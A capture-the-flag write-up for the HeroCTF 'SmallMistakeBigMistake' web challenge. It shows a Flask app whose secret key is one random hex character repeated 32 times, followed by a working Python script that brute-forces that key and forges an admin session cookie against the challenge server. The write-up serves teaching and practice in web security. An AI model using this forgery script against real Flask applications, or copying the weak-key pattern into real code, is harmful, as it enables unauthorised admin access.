HeroCTF SmallMistakeBigMistake Writeup
This article is a write-up for the SmallMistakeBigMistake challenge from HeroCtf.
CHALLENGE DESCRIPTION
The website developer made a small mistake in the code of his website. Can you identify and exploit it to extract the flag?
Format : Hero{flag}
Auteur : xanhacks
Opening the link we can see :
We have a main.py file we can download.
#!/usr/bin/env python
from flask import Flask, session, render_template
from string import hexdigits
from random import choice
from os import getenv
app = Flask(__name__)
app.secret_key = choice(hexdigits) * 32
@app.route("/", methods=["GET"])
def index():
flag = "You are not admin !"
if session and session["username"] == "admin":
flag = getenv("FLAG")
return render_template("index.html", flag=flag)
if __name__ == "__main__":
app.run(host="0.0.0.0", port=int(getenv("PORT")))
The first thing that caught my eye was this :
def index():
flag = "You are not admin !"
if session and session["username"] == "admin":
flag = getenv("FLAG")
return render_template("index.html", flag=flag)
The flag will only be rendered if we have in our session a username with admin as a value, that is why we saw that annoying message on the home page.
Then i came across this line.
app.secret_key = choice(hexdigits) * 32
Flask uses the secret key to cryptographically sign session cookies, to see what that key might look like, I created this small script :
from string import hexdigits
from random import choice
secret_key = choice(hexdigits) * 32
print(secret_key)
Result
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
99999999999999999999999999999999
00000000000000000000000000000000
dddddddddddddddddddddddddddddddd
DDDDDDDDDDDDDDDDDDDDDDDDDDDDDDDD
cccccccccccccccccccccccccccccccc
EEEEEEEEEEEEEEEEEEEEEEEEEEEEEEEE
77777777777777777777777777777777
After running this a couple of times you will see that it's kind of predictable.
As a result, we can easily brute-force this secret key and forge our session.
I did take some code from this repo noraj/flask-session-cookie-manager and now we have this exploit :
from string import hexdigits
from random import choice
from itsdangerous import base64_decode
import ast
from flask.sessions import SecureCookieSessionInterface
import requests
class MockApp(object):
def __init__(self, secret_key):
self.secret_key = secret_key
def encode(secret_key, session_cookie_structure):
""" Encode a Flask session cookie """
try:
app = MockApp(secret_key)
session_cookie_structure = dict(ast.literal_eval(session_cookie_structure))
si = SecureCookieSessionInterface()
s = si.get_signing_serializer(app)
return s.dumps(session_cookie_structure)
except Exception as e:
return "[Encoding error] {}".format(e)
raise e
target = "https://smallbigmistake.web.heroctf.fr"
payload = '{"username":"admin"}'
while True:
secret = choice(hexdigits) * 32
cookies = encode(secret,payload)
print("trying secret : {}".format(secret))
response = requests.get(target, cookies={'session': cookies})
if 'Hero{' in response.text:
print("Flag Found ")
print(response.text)
break
Now we can simply run it
python3 brute.py
And we got the flag 🥳:
The secret key was 22222222222222222222222222222222, and right, this small mistake can lead to dangerous consequences.
That’s all! , Hopefully, you enjoyed it and learned something along the way.
If you would like to get in touch with me, you can find me on LinkedIn or Twitter.